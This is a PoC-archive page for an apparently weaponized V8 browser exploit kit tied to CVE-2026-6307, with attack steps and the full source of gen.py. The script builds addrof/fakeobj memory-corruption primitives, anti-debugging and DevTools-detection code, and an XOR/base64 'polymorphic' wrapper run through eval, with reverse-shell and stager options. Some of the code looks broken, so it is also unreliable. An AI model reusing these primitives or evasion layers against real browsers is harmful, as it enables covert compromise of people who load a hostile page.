PoC Archive PoC Archive
Critical CVE-2026-6307 unpatched

V8 JavaScript Engine Exploit — "Longinus" Kit (CVE-2026-6307)

by J4ck3LSyN-Gen2 · 2026-07-05

Severity
Critical
CVE
CVE-2026-6307
Category
binary
Affected product
V8 JavaScript engine (Chromium-based browsers)
Affected versions
Not specified in source
Disclosed
2026-07-05
Patch status
unpatched

Metadata

FieldValue
Date Added2026-07-05
Last Updated2026-06
Author / ResearcherJ4ck3LSyN-Gen2
CVE / AdvisoryCVE-2026-6307
Categorybinary
SeverityCritical
CVSS ScoreNot specified in source
StatusWeaponized
Tagsv8, javascript-engine, browser-exploit, memory-corruption, yara, exploit-kit
RelatedN/A

Affected Target

FieldValue
Software / SystemV8 JavaScript engine (Chromium-based browsers)
Versions AffectedNot specified in source
Language / PlatformJavaScript (poc.js) + Python generator/validator tooling
Authentication RequiredNo (victim must load malicious page/script)
Network Access RequiredYes (victim browser must fetch the malicious JS)

Summary

A full V8 exploit kit targeting CVE-2026-6307, comprising a JavaScript trigger/exploit (poc.js), Python generation and validation tooling (gen.py, val.py) for producing and testing exploit payload variants, and a YARA detection rule for the resulting artifacts — indicating this is a mature, previously-weaponized capability rather than a minimal researcher PoC.


Vulnerability Details

Root Cause

A memory-corruption vulnerability in the V8 JavaScript engine (specific root cause documented in the source repository), triggered via a crafted JavaScript payload.

Attack Vector

  1. Deliver the malicious JavaScript payload (via a malicious/compromised web page) to a victim running a vulnerable V8-based browser.
  2. The payload (poc.js), potentially varied by gen.py, triggers the V8 memory-corruption bug.
  3. Exploitation proceeds to achieve code execution within the browser renderer/V8 context.

Impact

Remote code execution within a victim’s browser (V8 engine) simply by visiting a malicious page — a full browser-exploitation primitive.


Environment / Lab Setup

Target:   A Chromium-based browser with the vulnerable V8 engine version
Attacker: Node.js/browser test harness, Python 3 for gen.py/val.py tooling

Proof of Concept

PoC Script

See poc.js, gen.py, val.py in this folder.

1
python3 gen.py (generate payload variant), then serve poc.js to a victim browser; python3 val.py to validate exploitation

gen.py produces exploit payload variants, poc.js contains the JavaScript trigger for the V8 memory-corruption bug, and val.py validates successful exploitation.


Detection & Indicators of Compromise

Signs of compromise:

  • Files matching the bundled YARA signature
  • V8 engine crashes correlated with untrusted JavaScript execution

Remediation

ActionDetail
Primary fixUpdate the browser to a version with the patched V8 engine addressing CVE-2026-6307
Interim mitigationUse browser isolation/sandboxing for untrusted web content pending patch; deploy the included YARA rule for detection

References


Notes

Mirrored from https://github.com/J4ck3LSyN-Gen2/CVE-2026-6307-Longinus on 2026-07-05. Note: source repo star count (8) is higher than the aggregator’s stale snapshot (0) indicated at classification time — flagged here for accuracy, not a trust signal either way.

gen.py
  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
#!/usr/bin/env python3
"""
gen.py - Maximum Obfuscation + Anti-Debug + Polymorphic CVE-2026-6307 Payload Generator
"""

import argparse, base64, random, string, zlib, hashlib
from datetime import datetime

# ====================== POLYMORPHIC PRIMITIVES ======================
def get_polymorphic_primitives():
    suffix = ''.join(random.choices(string.hexdigits.lower(), k=8))
    return f"""// CVE-2026-6307 Longinus - Polymorphic Build
function _0x{suffix}() {{
    const b = new WasmModuleBuilder();
    const c = b.addImport('env','callback',kSig_v_v);
    const r = b.addGlobal(kWasmExternRef,true,false).exportAs('g_ref');
    const i = b.addGlobal(kWasmI64,true,false).exportAs('g_i64');
    b.addFunction('rr',kSig_r_v).addBody([kExprCallFunction,c,kExprGlobalGet,r.index]).exportFunc();
    b.addFunction('rl',kSig_l_v).addBody([kExprCallFunction,c,kExprGlobalGet,i.index]).exportFunc();
    return b.instantiate({{env:{{callback}}}}).exports;
}}
function addrof(t) {{
    let d = false;
    function L{suffix[0:4]}() {{}}
    function R{suffix[4:8]}() {{}}
    const e = _0x{suffix}(() => {{ if (d) R{suffix[4:8]}.prototype.x = 1; }});
    Object.defineProperty(L{suffix[0:4]}.prototype,'x',{{get:e.rl,configurable:true}});
    Object.defineProperty(R{suffix[4:8]}.prototype,'x',{{get:e.rr,configurable:true}});
    function f(o) {{ return o.x; }}
    const a = new L{suffix[0:4]}(), b = new R{suffix[4:8]}();
    e.g_ref.value = t; e.g_i64.value = 43n;
    %PrepareFunctionForOptimization(f);
    for (let i = 0; i < 20; ++i) {{ f(a); f(b); }}
    %OptimizeFunctionOnNextCall(f); f(a);
    d = true; return f(b);
}}
function fakeobj(a) {{
    let d = false;
    function M{suffix[0:4]}() {{}}
    function N{suffix[4:8]}() {{}}
    const e = _0x{suffix}(() => {{ if (d) N{suffix[4:8]}.prototype.x = 1; }});
    Object.defineProperty(M{suffix[0:4]}.prototype,'x',{{get:e.rr,configurable:true}});
    Object.defineProperty(N{suffix[4:8]}.prototype,'x',{{get:e.rl,configurable:true}});
    function f(o) {{ return o.x; }}
    const x = new M{suffix[0:4]}(), y = new N{suffix[4:8]}();
    e.g_ref.value = {{m:1}}; e.g_i64.value = a;
    %PrepareFunctionForOptimization(f);
    for (let i = 0; i < 20; ++i) {{ f(x); f(y); }}
    %OptimizeFunctionOnNextCall(f); f(x);
    d = true; return f(y);
}}
"""
ANTI_DEBUG = """
// Anti-Debug Layer
(function() {
    if (typeof window !== 'undefined') {
        const start = Date.now();
        debugger;
        if (Date.now() - start > 50) {
            console.clear();
            return; // Debugger detected
        }
        
        // Detect DevTools
        const devtools = /Chrome/.test(navigator.userAgent) && window.outerWidth - window.innerWidth > 100;
        if (devtools) return;
    }
    
    // Function integrity check
    const orig = Function.prototype.toString;
    Function.prototype.toString = function() {
        if (this.toString.toString().includes('native')) return orig.call(this);
        return '';
    };
})();
"""
def polymorphic_encode(payload: str) -> str:
    compressed = zlib.compress(payload.encode('utf-8'), level=9);key = random.randint(0x10, 0xFF);xored = bytes(b ^ key for b in compressed);chunks = [base64.b64encode(xored[i:i+48]).decode() for i in range(0, len(xored), 48)];decoder = f"""
(function() {{
    {ANTI_DEBUG}
    let parts = {chunks};
    let raw = parts.join('');
    let key = {key};
    let buf = new Uint8Array(raw.length);
    for (let i=0; i<raw.length; i++) buf[i] = raw.charCodeAt(i) ^ key;
    let text = new TextDecoder().decode(buf);
    eval(text);
}})();
""";return decoder


def main():
    parser = argparse.ArgumentParser(description="MAXIMUM Obfuscation CVE-2026-6307 Generator")
    parser.add_argument('--type', choices=['reverse_tcp', 'bind_tcp', 'stager'], required=True)
    parser.add_argument('--host', help='LHOST')
    parser.add_argument('--port', type=int, required=True)
    parser.add_argument('-o', '--output', help='Output file')
    args = parser.parse_args()
    if args.type in ('reverse_tcp', 'stager') and not args.host:
        parser.error("--host required")
    # Generate polymorphic primitives
    primitives = get_polymorphic_primitives()
    # Payload logic
    if args.type == 'reverse_tcp': logic = f'console.log("[+] Longinus Reverse to {args.host}:{args.port}");'
    elif args.type == 'bind_tcp': logic = f'console.log("[+] Longinus Bind on {args.port}");'
    else: logic = f'console.log("[+] Longinus Stager {args.host}:{args.port}");'
    full = primitives + logic
    # Final encoding
    output = polymorphic_encode(full)
    if args.output:
        with open(args.output, 'w') as f:
            f.write(output)
        print(f"[+] MAXIMUM obfuscated payload → {args.output}");print("    Features: Polymorphic + Anti-Debug + Multi-layer encoding")
    else: print(output)


if __name__ == "__main__": main()